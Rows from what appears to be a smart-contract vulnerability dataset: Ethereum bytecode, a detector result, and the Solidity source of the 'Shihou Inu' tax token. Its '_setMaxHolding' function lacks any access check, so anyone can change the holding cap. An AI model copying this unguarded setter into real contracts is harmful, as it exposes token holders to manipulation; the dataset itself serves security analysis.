1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15611e0e5781600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f56565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff16021790555090505060018401600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051611f9e929190612a1b565b60405180910390a25050505050565b600064010000000083108290611ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ff09190612889565b60405180910390fd5b5082905092915050565b6040518060400160405280600063ffffffff16815260200160006bffffffffffffffffffffffff1681525090565b60008135905061204081612b5d565b92915050565b60008135905061205581612b74565b92915050565b60008135905061206a81612b8b565b92915050565b60008135905061207f81612ba2565b92915050565b60008135905061209481612bb9565b92915050565b6000602082840312156120ac57600080fd5b60006120ba84828501612031565b91505092915050565b600080604083850312156120d657600080fd5b60006120e485828601612031565b92505060206120f585828601612031565b9150509250929050565b60008060006060848603121561211457600080fd5b600061212286828701612031565b935050602061213386828701612031565b92505060406121448682870161205b565b9150509250925092565b6000806040838503121561216157600080fd5b600061216f85828601612031565b92505060206121808582860161205b565b9150509250929050565b60008060008060008060c087890312156121a357600080fd5b60006121b189828a01612031565b96505060206121c289828a0161205b565b95505060406121d389828a0161205b565b94505060606121e489828a01612085565b93505060806121f589828a01612046565b92505060a061220689828a01612046565b9150509295509295509295565b6000806040838503121561222657600080fd5b600061223485828601612031565b925050602061224585828601612070565b9150509250929050565b61225881612a76565b82525050565b61226781612a88565b82525050565b61227681612a94565b82525050565b61228d61228882612a94565b612b42565b82525050565b600061229e82612a4f565b6122a88185612a5a565b93506122b8818560208601612b0f565b6122c181612b4c565b840191505092915050565b60006122d782612a44565b6122e18185612a5a565b93506122f1818560208601612b0f565b6122fa81612b4c565b840191505092915050565b6000612312603c83612a5a565b91507f4d696e643a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e736665722066726f6d20746865207a65726f2061646472657373000000006020830152604082019050919050565b6000612378600283612a6b565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b60006123b8602783612a5a565b91507f4d696e643a3a6765745072696f72566f7465733a206e6f74207965742064657460008301527f65726d696e6564000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061241e604383612a6b565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006124aa602683612a5a565b91507f4d696e643a3a64656c656761746542795369673a207369676e6174757265206560008301527f78706972656400000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612510602683612a5a565b91507f4d696e643a3a64656c656761746542795369673a20696e76616c69642073696760008301527f6e617475726500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000612576602283612a5a565b91507f4d696e643a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006125dc603a83612a5a565b91507f4d696e643a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008301527f616e7366657220746f20746865207a65726f20616464726573730000000000006020830152604082019050919050565b6000612642603a83612a6b565b91507f44656c65676174696f6e28616464726573732064656c6567617465652c75696e60008301527f74323536206e6f6e63652c75696e7432353620657870697279290000000000006020830152603a82019050919050565b6126a481612abe565b82525050565b6126b381612ac8565b82525050565b6126c281612ad8565b82525050565b6126d181612afd565b82525050565b6126e081612ae5565b82525050565b60006126f18261236b565b91506126fd828561227c565b60208201915061270d828461227c565b6020820191508190509392505050565b600061272882612411565b9150819050919050565b600061273d82612635565b9150819050919050565b600060208201905061275c600083018461224f565b92915050565b6000602082019050612777600083018461225e565b92915050565b6000602082019050612792600083018461226d565b92915050565b60006080820190506127ad600083018761226d565b6127ba602083018661224f565b6127c7604083018561269b565b6127d4606083018461269b565b95945050505050565b60006080820190506127f2600083018761226d565b6127ff602083018661226d565b61280c604083018561269b565b612819606083018461224f565b95945050505050565b6000608082019050612837600083018761226d565b61284460208301866126b9565b612851604083018561226d565b61285e606083018461226d565b95945050505050565b6000602082019050818103600083015261288181846122cc565b905092915050565b600060208201905081810360008301526128a38184612293565b905092915050565b600060208201905081810360008301526128c481612305565b9050919050565b600060208201905081810360008301526128e4816123ab565b9050919050565b600060208201905081810360008301526129048161249d565b9050919050565b6000602082019050818103600083015261292481612503565b9050919050565b6000602082019050818103600083015261294481612569565b9050919050565b60006020820190508181036000830152612964816125cf565b9050919050565b6000602082019050612980600083018461269b565b92915050565b600060208201905061299b60008301846126aa565b92915050565b60006040820190506129b660008301856126aa565b6129c360208301846126d7565b9392505050565b60006020820190506129df60008301846126b9565b92915050565b60006020820190506129fa60008301846126c8565b92915050565b6000602082019050612a1560008301846126d7565b92915050565b6000604082019050612a3060008301856126c8565b612a3d60208301846126c8565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8182612a9e565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0882612ae5565b9050919050565b60005b83811015612b2d578082015181840152602081019050612b12565b83811115612b3c576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6681612a76565b8114612b7157600080fd5b50565b612b7d81612a94565b8114612b8857600080fd5b50565b612b9481612abe565b8114612b9f57600080fd5b50565b612bab81612ac8565b8114612bb657600080fd5b50565b612bc281612ad8565b8114612bcd57600080fd5b5056fe4d696e643a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d696e643a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734d696e643a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654d696e643a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d696e643a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d696e643a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d696e643a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d696e643a3a617070726f76653a20616d6f756e7420657863656564732039362062697473a365627a7a72315820003ef334a6de8d639b93a4bcb059659990f20001a59f7812b94b1fbdc778a9d86c6578706572696d656e74616cf564736f6c63430005100040 | {"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,167 |
0x4fb38f46fcf8352f8c77cd1aabf01c1929fe5492 | /**
*Submitted for verification at Etherscan.io on 2022-01-11
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ShihouInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Shihou Inu";
string private constant _symbol = unicode"Shiho";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 1;
uint256 private _teamFee = 9;
uint256 private _feeRate = 10;
uint256 private _feeMultiplier = 1000;
uint256 private _launchTime;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxBuyAmount;
address payable private _FeeAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private _cooldownEnabled = true;
bool private inSwap = false;
uint256 private buyLimitEnd;
uint private holdingCapPercent = 3;
struct User {
uint256 buy;
uint256 sell;
bool exists;
}
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress) {
_FeeAddress = FeeAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner()) {
if(_cooldownEnabled) {
if(!cooldown[msg.sender].exists) {
cooldown[msg.sender] = User(0,0,true);
}
}
if (to != uniswapV2Pair && to != address(this))
require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached.");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
_teamFee = 9;
if(_cooldownEnabled) {
if(buyLimitEnd > block.timestamp) {
require(amount <= _maxBuyAmount);
require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired.");
cooldown[to].buy = block.timestamp + (45 seconds);
}
}
if(_cooldownEnabled) {
cooldown[to].sell = block.timestamp + (15 seconds);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
// sell
if(!inSwap && from != uniswapV2Pair && tradingOpen) {
_teamFee = 9;
if(_cooldownEnabled) {
require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired.");
}
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (500 seconds);
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
// fallback in case contract is not releasing tokens fast enough
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].buy;
}
function timeToSell(address buyer) public view returns (uint) {
return block.timestamp - cooldown[buyer].sell;
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function _getMaxHolding() internal view returns (uint256) {
return (totalSupply() * holdingCapPercent) / 100;
}
function _setMaxHolding(uint8 percent) external {
require(percent > 0, "Max holding cap cannot be less than 1");
holdingCapPercent = percent;
}
} | 0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a914610457578063c3c8cd8014610494578063c9567bf9146104ab578063db92dbb6146104c2578063dd62ed3e146104ed578063e8078d941461052a5761014b565b806370a0823114610345578063715018a6146103825780638da5cb5b1461039957806395d89b41146103c4578063a9059cbb146103ef578063a985ceef1461042c5761014b565b8063313ce56711610108578063313ce5671461024b57806345596e2e14610276578063522644df1461029f5780635932ead1146102c857806368a3a6a5146102f15780636fc3eaec1461032e5761014b565b806306fdde0314610150578063095ea7b31461017b57806318160ddd146101b857806323b872dd146101e357806327f3a72a146102205761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b50610165610541565b6040516101729190613084565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612b33565b61057e565b6040516101af9190613069565b60405180910390f35b3480156101c457600080fd5b506101cd61059c565b6040516101da91906132a6565b60405180910390f35b3480156101ef57600080fd5b5061020a60048036038101906102059190612ae4565b6105ac565b6040516102179190613069565b60405180910390f35b34801561022c57600080fd5b50610235610685565b60405161024291906132a6565b60405180910390f35b34801561025757600080fd5b50610260610695565b60405161026d919061331b565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612bc1565b61069e565b005b3480156102ab57600080fd5b506102c660048036038101906102c19190612c39565b610785565b005b3480156102d457600080fd5b506102ef60048036038101906102ea9190612b6f565b6107d8565b005b3480156102fd57600080fd5b5061031860048036038101906103139190612a56565b6108d0565b60405161032591906132a6565b60405180910390f35b34801561033a57600080fd5b50610343610927565b005b34801561035157600080fd5b5061036c60048036038101906103679190612a56565b610999565b60405161037991906132a6565b60405180910390f35b34801561038e57600080fd5b506103976109ea565b005b3480156103a557600080fd5b506103ae610b3d565b6040516103bb9190612f9b565b60405180910390f35b3480156103d057600080fd5b506103d9610b66565b6040516103e69190613084565b60405180910390f35b3480156103fb57600080fd5b5061041660048036038101906104119190612b33565b610ba3565b6040516104239190613069565b60405180910390f35b34801561043857600080fd5b50610441610bc1565b60405161044e9190613069565b60405180910390f35b34801561046357600080fd5b5061047e60048036038101906104799190612a56565b610bd8565b60405161048b91906132a6565b60405180910390f35b3480156104a057600080fd5b506104a9610c2f565b005b3480156104b757600080fd5b506104c0610ca9565b005b3480156104ce57600080fd5b506104d7610d6f565b6040516104e491906132a6565b60405180910390f35b3480156104f957600080fd5b50610514600480360381019061050f9190612aa8565b610da1565b60405161052191906132a6565b60405180910390f35b34801561053657600080fd5b5061053f610e28565b005b60606040518060400160405280600a81526020017f536869686f7520496e7500000000000000000000000000000000000000000000815250905090565b600061059261058b611338565b8484611340565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105b984848461150b565b61067a846105c5611338565b61067585604051806060016040528060288152602001613a1260289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061062b611338565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3c9092919063ffffffff16565b611340565b600190509392505050565b600061069030610999565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106df611338565b73ffffffffffffffffffffffffffffffffffffffff16146106ff57600080fd5b60338110610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990613166565b60405180910390fd5b80600b819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600b5460405161077a91906132a6565b60405180910390a150565b60008160ff16116107cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c290613286565b60405180910390fd5b8060ff1660158190555050565b6107e0611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610864906131c6565b60405180910390fd5b80601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516108c59190613069565b60405180910390a150565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610920919061346c565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610968611338565b73ffffffffffffffffffffffffffffffffffffffff161461098857600080fd5b600047905061099681611ea0565b50565b60006109e3600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f0c565b9050919050565b6109f2611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a76906131c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f536869686f000000000000000000000000000000000000000000000000000000815250905090565b6000610bb7610bb0611338565b848461150b565b6001905092915050565b6000601360159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610c28919061346c565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c70611338565b73ffffffffffffffffffffffffffffffffffffffff1614610c9057600080fd5b6000610c9b30610999565b9050610ca681611f7a565b50565b610cb1611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d35906131c6565b60405180910390fd5b6001601360146101000a81548160ff0219169083151502179055506101f442610d67919061338b565b601481905550565b6000610d9c601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e30611338565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ebd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb4906131c6565b60405180910390fd5b601360149054906101000a900460ff1615610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490613246565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000611340565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe257600080fd5b505afa158015610ff6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101a9190612a7f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107c57600080fd5b505afa158015611090573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b49190612a7f565b6040518363ffffffff1660e01b81526004016110d1929190612fb6565b602060405180830381600087803b1580156110eb57600080fd5b505af11580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111239190612a7f565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ac30610999565b6000806111b7610b3d565b426040518863ffffffff1660e01b81526004016111d996959493929190613008565b6060604051808303818588803b1580156111f257600080fd5b505af1158015611206573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122b9190612bea565b5050506611c37937e0800060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e2929190612fdf565b602060405180830381600087803b1580156112fc57600080fd5b505af1158015611310573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113349190612b98565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a790613226565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611420576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611417906130e6565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fe91906132a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157290613206565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115eb576040517f08c379a000000000